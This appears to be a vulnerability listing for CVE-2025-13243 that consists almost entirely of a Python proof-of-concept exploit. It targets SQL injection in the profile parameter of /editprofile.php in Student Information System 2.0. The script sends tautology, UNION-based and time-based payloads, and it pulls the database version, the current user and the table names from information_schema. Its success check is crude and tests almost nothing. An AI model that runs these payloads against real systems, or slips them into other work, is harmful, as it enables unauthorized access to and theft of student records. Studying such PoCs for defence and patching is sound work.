CVE-2025-13243 code-projects Student Information System 2.0 SQL注入漏洞

# CVE-2025-13243 SQL Injection PoC # Target: Student Information System 2.0 (/editprofile.php) # Vulnerability: Unauthenticated SQL Injection in profile parameter import requests import sys target_url = "http://target-server/editprofile.php" # Basic SQL Injection test payload sql_payload = "' OR '1'='1" # UNION-based data extraction payload union_payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10--" # Time-based blind SQL injection payload time_payload = "'; SLEEP(5)--" def test_basic_injection(): """Test basic SQL injection vulnerability""" data = { 'profile': sql_payload, 'submit': 'Update' } try: response = requests.post(target_url, data=data, timeout=10) if 'error' not in response.text.lower() or response.status_code != 500: print("[+] Basic injection test completed") except requests.RequestException as e: print(f"[-] Request failed: {e}") def extract_database_info(): """Extract database version and user information""" payloads = [ "' UNION SELECT @@version,user(),database(),4,5,6,7,8,9,10--", "' UNION SELECT table_name,2,3,4,5,6,7,8,9,10 FROM information_schema.tables--" ] for payload in payloads: data = {'profile': payload, 'submit': 'Update'} try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] Payload sent: {payload[:50]}...") except requests.RequestException: pass if __name__ == "__main__": print("CVE-2025-13243 SQL Injection PoC") print("Target: Student Information System 2.0") test_basic_injection() extract_database_info()